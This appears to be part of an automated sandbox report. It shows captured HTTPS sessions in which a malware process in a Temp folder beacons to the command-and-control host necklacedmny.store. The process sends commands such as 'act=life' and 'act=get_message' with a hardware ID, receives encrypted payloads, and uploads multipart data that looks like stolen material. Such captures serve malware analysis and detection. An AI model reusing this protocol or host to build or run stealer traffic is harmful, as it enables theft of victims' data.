~D\Q{`(+UZ@6tZIT/Pa8,vriTG0abQs9&C[mGN:^#r=Gq(^?\| <4ra:~b
2024-11-01 04:53:26 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9fufj856k48jfefjv3f5t44p5d; expires=Mon, 24-Feb-2025 22:40:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MslFfc4OsVkLWdan2cZfrUFJ3VygBKHTAq4FtJDoeVvFsBLMNQP9%2B5d3r9pNMQDjW1Nx9BnTjGszhdjlqE88mDsCQqQz0m3dOBYXbOlM1hzH0kuYex3%2Bxe8iFWVGEQ0%2BXIZT2is%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db947ebcafee76e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1373&sent=217&recv=614&lost=0&retrans=0&sent_bytes=2846&recv_bytes=581919&delivery_rate=2070050&cwnd=250&unsent_bytes=0&cid=b09d4d64e035fc01&ts=1856&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50002	188.114.96.3	443	4228	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:25 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 04:53:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 04:53:26 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gbiehc5q16sp82k7s2o8se9lfb; expires=Mon, 24-Feb-2025 22:40:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E9%2FOXZr6rcwsv9%2BGnWFSbY3OacZfrpLzSw03UdPfrp8GgYd7xLSWuPJnxniatI38QlWOuIxoUO78TV7Pjc07P0dSC%2Fc7%2FoijvctMjfqHmX5q8hXwt3OwE%2FhkE%2FsJBkOb9ggdLtk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db947f3688a475b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1056&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=2737240&cwnd=251&unsent_bytes=0&cid=a60cd0f85a5f4041&ts=835&x=0"
2024-11-01 04:53:26 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 04:53:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50003	188.114.96.3	443	5560	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:26 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 04:53:26 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=FC6B15971607FBA128DEB478D21E6E6B
2024-11-01 04:53:27 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rlrbgtdm1qckosee629balmoc8; expires=Mon, 24-Feb-2025 22:40:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8txORWx3XiF8LkqEUAluCtMt75nfzDUk8cwJk6dfq3T%2Fh2p408IEu8D0TQ4yYXVG99H1VI7CALN9IT6xwRmPtSYP06i08LgYck%2B%2BvZ8f9GswEjvNHflD3dcAkxgUVDia%2FRhLIWo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db947fbed714796-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1065&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2701492&cwnd=244&unsent_bytes=0&cid=741faaa4ab542c6a&ts=906&x=0"
2024-11-01 04:53:27 UTC	214	IN	Data Raw: 64 30 0d 0a 43 4f 54 7a 62 42 4b 37 78 4c 58 59 49 47 55 62 71 4e 67 70 34 55 49 7a 6a 52 4e 4a 5a 75 6c 31 73 78 55 5a 46 74 2b 64 39 4a 68 54 6e 39 45 5a 4d 49 48 6d 33 61 78 55 46 53 48 30 39 33 58 4f 63 77 75 34 50 58 74 58 33 46 75 43 4a 43 6f 34 37 71 75 6f 74 32 65 43 6c 54 41 39 33 36 48 54 39 6b 55 64 66 6f 72 30 43 34 63 32 45 62 63 6a 5a 55 53 4d 56 34 6b 6c 5a 44 71 6b 76 34 47 36 4d 73 61 62 47 47 62 4c 2f 75 6e 33 66 45 6f 71 6b 4f 30 48 30 33 4d 47 6f 79 4a 34 56 63 64 45 68 55 6b 32 65 37 62 7a 6b 63 51 6e 6c 70 49 43 64 74 53 70 6d 37 31 59 41 44 6d 45 2b 6b 2b 56 59 41 6d 39 50 32 73 44 79 30 2b 44 61 45 51 3d 0d 0a Data Ascii: d0COTzbBK7xLXYIGUbqNgp4UIzjRNJZul1sxUZFt+d9JhTn9EZMIHm3axUFSH093XOcwu4PXtX3FuCJCo47quot2eClTA936HT9kUdfor0C4c2EbcjZUSMV4klZDqkv4G6MsabGGbL/un3fEoqkO0H03MGoyJ4VcdEhUk2e7bzkcQnlpICdtSpm71YADmE+k+VYAm9P2sDy0+DaEQ=
2024-11-01 04:53:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50004	188.114.96.3	443	4228	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:26 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 04:53:26 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 04:53:27 UTC	1023	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a3tus7lun0ksaetgamnqev0v3o; expires=Mon, 24-Feb-2025 22:40:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nBmgGtUbYeYwN%2B5PiYIKdaL6k0XSDSfcGmY18TJEuaw1s%2FzS3%2BnI%2BcaheNshJuyuD%2Ff3PgVndAkagvx0kK3FqAuSiIO3G%2B1mijN%2BfkgQMfczjWUI%2ByqMYvVDcx8ddDjBcWuTpX8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db947fbfeede54a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1167&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=2409317&cwnd=251&unsent_bytes=0&cid=9a685dcc14e4ce0f&ts=871&x=0"
2024-11-01 04:53:27 UTC	346	IN	Data Raw: 34 64 38 0d 0a 79 77 4f 38 73 6e 76 62 42 44 49 56 73 54 69 59 72 31 34 33 4d 57 77 6a 54 64 76 33 41 6f 4c 52 32 30 74 54 2f 61 78 4d 42 64 53 77 49 63 71 51 51 65 38 6f 45 47 62 55 47 71 4c 62 4c 45 4a 55 51 41 45 73 76 39 55 34 35 4c 43 33 4f 44 62 52 6a 6a 70 6f 39 76 46 6c 33 64 34 49 76 69 67 51 63 4d 6b 61 6f 76 51 6c 46 56 51 43 41 58 66 35 6b 6d 6a 67 73 4c 63 70 4d 70 62 44 50 47 6d 33 6f 32 2f 62 32 68 36 34 59 46 4e 35 33 46 33 39 79 6a 39 64 58 77 56 4f 4a 62 62 56 4c 71 43 30 6f 57 6c 70 33 2b 45 70 63 62 57 47 59 73 2f 5a 57 61 59 6f 53 54 66 55 56 72 71 56 66 46 5a 55 44 6b 38 72 76 35 78 71 36 72 6d 2f 4b 44 65 58 33 43 56 6a 76 4b 4e 68 32 4e 73 55 73 58 52 65 63 39 74 57 2b 38 41 2f 46 52 31 4f 52 6a 66 35 7a 53 43 7a 67 62 6f 34 49 49 Data Ascii: 4d8ywO8snvbBDIVsTiYr143MWwjTdv3AoLR20tT/axMBdSwIcqQQe8oEGbUGqLbLEJUQAEsv9U45LC3ODbRjjpo9vFl3d4IvigQcMkaovQlFVQCAXf5kmjgsLcpMpbDPGm3o2/b2h64YFN53F39yj9dXwVOJbbVLqC0oWlp3+EpcbWGYs/ZWaYoSTfUVrqVfFZUDk8rv5xq6rm/KDeX3CVjvKNh2NsUsXRec9tW+8A/FR1ORjf5zSCzgbo4II
2024-11-01 04:53:27 UTC	901	IN	Data Raw: 76 45 68 32 4e 34 59 74 47 5a 43 66 39 68 52 2f 39 38 33 58 46 34 44 51 53 4b 7a 6d 6d 50 67 74 4c 4d 6a 50 70 58 4b 49 32 71 77 71 57 47 65 6e 6c 6d 2b 66 68 41 76 6b 33 6e 2f 33 54 74 5a 52 55 78 37 62 36 62 62 65 61 43 30 74 57 6c 70 33 38 59 72 5a 4c 57 69 62 74 33 59 45 71 74 6d 51 6e 48 65 58 2b 6a 4c 4f 56 74 5a 44 56 4d 6c 74 35 4e 6a 36 62 69 77 4c 44 61 62 6a 6d 41 6e 73 62 45 68 68 70 41 34 74 47 31 63 66 63 52 61 75 74 4a 79 54 42 4d 4a 54 57 2f 68 31 57 54 68 74 37 67 74 50 35 48 4b 49 6d 47 34 70 47 37 59 32 68 6d 2b 62 46 68 2f 30 6c 66 78 77 6a 78 51 58 67 70 48 49 37 69 51 49 4b 37 7a 76 6a 46 78 78 34 34 41 59 4c 57 37 49 2b 76 54 46 37 64 68 52 6a 66 4d 46 4f 4f 4e 4f 31 6b 54 56 67 45 68 76 4a 70 79 34 61 47 38 4a 79 4f 54 79 79 68 71 Data Ascii: vEh2N4YtGZCf9hR/983XF4DQSKzmmPgtLMjPpXKI2qwqWGenlm+fhAvk3n/3TtZRUx7b6bbeaC0tWlp38YrZLWibt3YEqtmQnHeX+jLOVtZDVMlt5Nj6biwLDabjmAnsbEhhpA4tG1cfcRautJyTBMJTW/h1WTht7gtP5HKImG4pG7Y2hm+bFh/0lfxwjxQXgpHI7iQIK7zvjFxx44AYLW7I+vTF7dhRjfMFOONO1kTVgEhvJpy4aG8JyOTyyhq
2024-11-01 04:53:27 UTC	1369	IN	Data Raw: 33 66 39 34 0d 0a 33 64 51 64 74 47 6c 5a 66 74 70 49 38 4d 45 79 52 31 34 45 52 43 47 31 6b 47 2f 67 73 72 67 6e 4f 35 53 4f 59 43 65 78 73 53 47 47 6b 44 61 30 64 6b 4a 39 32 45 75 34 2b 44 39 62 58 51 6c 58 62 36 62 62 65 61 43 30 74 57 6c 70 33 38 55 6f 61 37 71 70 5a 38 7a 65 46 71 74 73 51 6e 50 64 58 76 62 44 4e 56 68 63 43 31 4d 72 75 59 64 68 35 62 53 33 4a 43 4f 61 6a 6d 41 6e 73 62 45 68 68 70 41 6a 6a 57 46 41 5a 74 51 59 7a 38 34 79 57 31 51 59 41 54 44 33 6a 43 44 6e 76 2f 6c 78 63 5a 7a 43 49 32 36 7a 70 6e 50 55 33 42 69 72 59 56 6c 2b 32 56 76 30 77 6a 64 5a 56 68 78 4b 49 4c 47 61 59 65 32 2b 73 69 30 78 33 34 42 75 59 4b 37 70 4f 5a 37 78 46 4c 5a 30 55 32 61 52 62 2f 6e 44 4d 6c 4a 46 54 6c 35 68 6f 4e 56 6e 37 50 50 68 61 54 43 54 77 Data Ascii: 3f943dQdtGlZftpI8MEyR14ERCG1kG/gsrgnO5SOYCexsSGGkDa0dkJ92Eu4+D9bXQlXb6bbeaC0tWlp38Uoa7qpZ8zeFqtsQnPdXvbDNVhcC1MruYdh5bS3JCOajmAnsbEhhpAjjWFAZtQYz84yW1QYATD3jCDnv/lxcZzCI26zpnPU3BirYVl+2Vv0wjdZVhxKILGaYe2+si0x34BuYK7pOZ7xFLZ0U2aRb/nDMlJFTl5hoNVn7PPhaTCTw
2024-11-01 04:53:27 UTC	1369	IN	Data Raw: 6c 61 74 6e 62 45 72 31 69 55 48 72 59 56 50 54 45 4d 46 31 66 43 56 4d 69 76 4a 31 71 36 62 61 31 4a 44 4b 4e 7a 53 38 6e 2b 4f 6c 6d 78 70 42 42 2b 55 46 6a 51 50 41 61 35 59 4d 6c 46 56 51 43 41 58 66 35 6c 47 6a 6e 76 62 30 37 50 34 33 41 4b 57 65 77 6f 57 6e 5a 33 42 65 33 64 46 68 32 30 31 54 31 78 54 56 52 55 67 70 46 49 37 37 56 4c 71 43 30 6f 57 6c 70 33 2b 59 74 66 61 7a 72 54 39 58 51 48 71 6c 77 53 7a 66 4d 46 4f 4f 4e 4f 31 6b 54 56 67 45 72 73 70 39 70 34 37 71 39 4a 44 47 57 77 53 64 76 75 36 46 7a 33 39 6f 4c 76 57 4e 52 65 4e 6c 65 38 73 45 7a 57 56 63 63 53 6d 2f 33 31 57 66 34 38 2b 46 70 45 5a 54 59 44 58 57 6b 36 58 36 51 79 56 6d 2b 61 68 41 76 6b 31 50 32 7a 44 31 66 56 51 56 45 49 72 6d 51 61 75 65 2f 75 53 6b 79 6d 63 67 6a 62 37 Data Ascii: latnbEr1iUHrYVPTEMF1fCVMivJ1q6ba1JDKNzS8n+OlmxpBB+UFjQPAa5YMlFVQCAXf5lGjnvb07P43AKWewoWnZ3Be3dFh201T1xTVRUgpFI77VLqC0oWlp3+YtfazrT9XQHqlwSzfMFOONO1kTVgErsp9p47q9JDGWwSdvu6Fz39oLvWNReNle8sEzWVccSm/31Wf48+FpEZTYDXWk6X6QyVm+ahAvk1P2zD1fVQVEIrmQaue/uSkymcgjb7
2024-11-01 04:53:27 UTC	1369	IN	Data Raw: 30 42 61 38 62 6c 74 78 33 56 76 38 77 54 45 56 48 55 35 47 4e 2f 6e 4e 49 4d 65 70 74 43 38 6d 6a 76 73 70 5a 2b 66 70 66 70 44 4a 57 62 35 71 45 43 2b 54 56 2f 62 48 4d 56 42 58 42 6b 59 73 75 4a 6c 6b 37 62 36 39 49 44 57 61 33 44 78 68 75 4b 6c 75 30 4e 38 56 71 32 68 56 64 39 38 61 74 49 30 37 54 52 4e 57 41 52 36 75 6c 53 44 2f 2f 61 42 70 4e 70 4f 4f 64 69 65 35 70 48 50 53 33 78 6d 34 5a 56 52 38 31 46 7a 38 7a 44 39 51 55 41 74 48 4c 72 6d 5a 61 75 65 37 73 79 63 38 6d 63 6f 6f 59 66 62 6e 49 64 6e 49 57 65 45 6d 59 6e 72 64 55 2f 6e 4c 4d 55 4e 37 50 77 45 77 39 34 77 67 35 37 2f 35 63 58 47 62 78 53 5a 72 73 36 46 6b 33 39 67 54 73 57 6c 66 5a 64 4a 56 38 38 6f 33 57 46 77 41 52 43 47 72 6b 6d 76 72 75 37 41 6e 4e 39 2b 41 62 6d 43 75 36 54 6d Data Ascii: 0Ba8bltx3Vv8wTEVHU5GN/nNIMeptC8mjvspZ+fpfpDJWb5qEC+TV/bHMVBXBkYsuJlk7b69IDWa3DxhuKlu0N8Vq2hVd98atI07TRNWAR6ulSD//aBpNpOOdie5pHPS3xm4ZVR81Fz8zD9QUAtHLrmZaue7syc8mcooYfbnIdnIWeEmYnrdU/nLMUN7PwEw94wg57/5cXGbxSZrs6Fk39gTsWlfZdJV88o3WFwARCGrkmvru7AnN9+AbmCu6Tm
2024-11-01 04:53:27 UTC	1369	IN	Data Raw: 6d 35 58 66 39 64 55 36 4d 77 7a 46 52 31 4f 52 6a 66 35 7a 53 44 52 70 62 34 75 50 74 33 6e 4b 58 79 33 6f 32 4c 56 33 46 6d 6d 4b 45 6b 33 31 46 61 36 6c 58 78 59 58 77 4e 46 50 62 57 56 59 4f 6d 30 73 7a 73 2b 6b 4d 4d 74 5a 37 4f 37 59 4d 7a 66 45 72 78 6c 56 48 6a 63 56 76 4c 48 66 42 73 54 43 56 6c 76 34 64 56 4d 34 36 4b 7a 61 78 61 46 32 43 6c 72 70 36 4a 73 30 70 41 47 39 33 38 51 63 4e 38 61 6f 6f 30 38 56 46 34 63 52 43 36 7a 6e 32 33 6f 76 4c 77 73 50 70 76 4b 4a 57 6d 6b 70 32 37 65 31 68 4b 34 59 31 4e 38 32 56 54 7a 33 33 77 62 45 77 6c 5a 62 2b 48 56 53 76 75 79 74 43 56 7a 73 63 55 34 59 50 53 49 62 39 58 58 46 61 38 6d 54 7a 6e 4b 47 76 33 42 66 41 30 54 42 30 38 6a 75 70 4a 6f 36 4c 61 35 49 6a 47 51 78 43 42 67 70 4b 4e 74 31 4d 49 57 Data Ascii: m5Xf9dU6MwzFR1ORjf5zSDRpb4uPt3nKXy3o2LV3FmmKEk31Fa6lXxYXwNFPbWVYOm0szs+kMMtZ7O7YMzfErxlVHjcVvLHfBsTCVlv4dVM46KzaxaF2Clrp6Js0pAG938QcN8aoo08VF4cRC6zn23ovLwsPpvKJWmkp27e1hK4Y1N82VTz33wbEwlZb+HVSvuytCVzscU4YPSIb9XXFa8mTznKGv3BfA0TB08jupJo6La5IjGQxCBgpKNt1MIW
2024-11-01 04:53:27 UTC	1369	IN	Data Raw: 66 4d 46 4f 4f 4e 4f 31 6b 54 56 67 45 76 76 5a 6c 6a 35 37 32 32 4a 44 36 59 78 53 46 74 75 4c 74 75 32 39 67 56 73 57 74 43 66 64 6c 49 38 38 51 78 57 31 73 63 51 6d 2f 33 31 57 66 34 38 2b 46 70 41 35 58 4e 49 6e 47 37 70 69 48 42 6e 67 44 35 59 56 77 33 69 78 72 6f 33 7a 78 65 55 77 6c 50 50 62 69 64 62 2b 71 7a 76 79 49 37 6e 4d 63 71 61 62 2b 76 59 4e 50 52 47 4c 6c 6a 55 48 37 42 56 37 71 44 66 46 4a 4c 54 68 6c 76 6a 70 6c 72 30 62 43 76 61 53 37 52 31 32 35 67 75 75 6b 35 6e 74 45 4c 74 47 35 55 64 39 35 63 38 63 77 39 56 6c 4d 4f 51 69 2b 38 6e 6d 2f 6d 74 4c 51 6a 4f 4a 62 63 4a 6d 4f 6b 71 57 33 61 6b 46 66 35 59 55 67 33 69 78 72 4b 7a 6a 64 5a 55 77 4e 55 62 36 62 62 65 61 43 30 74 57 6c 70 33 38 59 6c 62 4c 43 69 59 74 33 65 45 72 4e 70 58 Data Ascii: fMFOONO1kTVgEvvZlj5722JD6YxSFtuLtu29gVsWtCfdlI88QxW1scQm/31Wf48+FpA5XNInG7piHBngD5YVw3ixro3zxeUwlPPbidb+qzvyI7nMcqab+vYNPRGLljUH7BV7qDfFJLThlvjplr0bCvaS7R125guuk5ntELtG5Ud95c8cw9VlMOQi+8nm/mtLQjOJbcJmOkqW3akFf5YUg3ixrKzjdZUwNUb6bbeaC0tWlp38YlbLCiYt3eErNpX
2024-11-01 04:53:27 UTC	1369	IN	Data Raw: 78 32 7a 31 59 57 41 49 44 4c 72 53 46 5a 36 44 39 2b 53 39 78 78 35 35 67 4a 37 4b 34 49 59 61 41 53 2b 49 7a 41 79 43 44 43 4f 57 44 4a 52 56 46 54 68 6c 39 39 39 56 79 6f 4f 76 35 62 6a 4b 4e 33 43 68 6b 6f 4b 6f 6d 34 4f 34 35 73 6d 70 54 65 39 4a 64 75 6f 4e 38 57 68 4e 57 65 47 2b 36 68 33 4b 76 6f 71 38 6b 49 5a 69 43 4a 6e 61 37 70 53 47 51 6b 46 57 39 62 56 78 79 31 45 71 31 33 79 78 65 58 78 67 4e 4b 36 76 56 4c 71 43 69 73 69 59 6a 6b 63 6c 68 64 71 43 6b 63 64 33 56 48 76 56 75 51 58 72 66 47 72 53 4e 4b 56 35 66 43 45 77 36 39 6f 52 32 34 36 57 2b 5a 54 6d 4f 77 79 49 6e 69 65 63 68 78 70 42 42 2b 56 4e 54 65 64 31 64 37 4e 78 78 64 56 67 43 51 69 4f 34 6b 69 43 75 38 37 39 70 61 63 79 41 62 6d 4f 6e 36 54 6d 4f 67 6b 4c 73 4e 51 63 6e 67 55 Data Ascii: x2z1YWAIDLrSFZ6D9+S9xx55gJ7K4IYaAS+IzAyCDCOWDJRVFThl999VyoOv5bjKN3ChkoKom4O45smpTe9JduoN8WhNWeG+6h3Kvoq8kIZiCJna7pSGQkFW9bVxy1Eq13yxeXxgNK6vVLqCisiYjkclhdqCkcd3VHvVuQXrfGrSNKV5fCEw69oR246W+ZTmOwyIniechxpBB+VNTed1d7NxxdVgCQiO4kiCu879pacyAbmOn6TmOgkLsNQcngU
2024-11-01 04:53:27 UTC	1369	IN	Data Raw: 46 55 56 4f 47 58 7a 33 31 58 4b 67 36 2f 6c 75 50 35 4c 50 4c 57 6d 31 75 33 50 59 30 77 2b 36 49 57 35 4a 39 6c 66 33 79 44 4a 53 62 54 42 67 4a 61 6d 59 62 2b 65 4e 68 78 34 67 6d 4e 35 73 51 62 57 2f 59 70 36 65 57 61 45 6d 43 44 66 79 55 4f 72 41 4d 31 49 54 51 41 45 72 2b 63 30 67 78 62 36 30 4c 44 2b 59 6a 41 39 74 70 71 52 75 32 5a 42 58 2b 57 6f 51 4c 35 4e 62 38 4e 30 78 57 6c 52 43 52 6a 57 2b 31 53 36 67 76 66 6c 78 63 5a 37 45 50 6d 71 35 72 69 33 59 33 68 66 35 65 52 35 75 6b 30 79 36 6c 57 38 62 45 78 77 42 64 2f 6e 53 62 75 32 79 75 69 63 79 6a 64 77 6f 5a 4b 43 71 4a 75 44 75 50 4c 52 72 56 58 6e 55 5a 4d 54 73 4e 6b 56 65 41 55 5a 74 6d 5a 4a 32 34 34 32 48 48 69 43 59 33 6d 78 42 74 62 39 69 6e 70 35 5a 6f 53 59 49 4e 2f 4a 51 36 73 41 Data Ascii: FUVOGXz31XKg6/luP5LPLWm1u3PY0w+6IW5J9lf3yDJSbTBgJamYb+eNhx4gmN5sQbW/Yp6eWaEmCDfyUOrAM1ITQAEr+c0gxb60LD+YjA9tpqRu2ZBX+WoQL5Nb8N0xWlRCRjW+1S6gvflxcZ7EPmq5ri3Y3hf5eR5uk0y6lW8bExwBd/nSbu2yuicyjdwoZKCqJuDuPLRrVXnUZMTsNkVeAUZtmZJ2442HHiCY3mxBtb9inp5ZoSYIN/JQ6sA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50013	188.114.96.3	443	4228	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:28 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-11-01 04:53:28 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:53:29 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=40iesjs8g3dqej4soip00a22ce; expires=Mon, 24-Feb-2025 22:40:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wO9J7Jc4uBTybgC%2FmBHwdE%2FVZ8brKQ0cmP1GrNiCC045%2F%2BmQBGHgLQ3FZLuwDDBfyiK2YhhSdtEcSWZ31OWsLNwNcrZZ8Xzbn1ye2GGlCZ5MRabylo7lT8StpyTnq31zApaubsY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db94808ac62eac9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1088&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13782&delivery_rate=2518260&cwnd=251&unsent_bytes=0&cid=84ea29f27a6acdfb&ts=515&x=0"
2024-11-01 04:53:29 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:53:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50015	188.114.96.3	443	4228	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:30 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
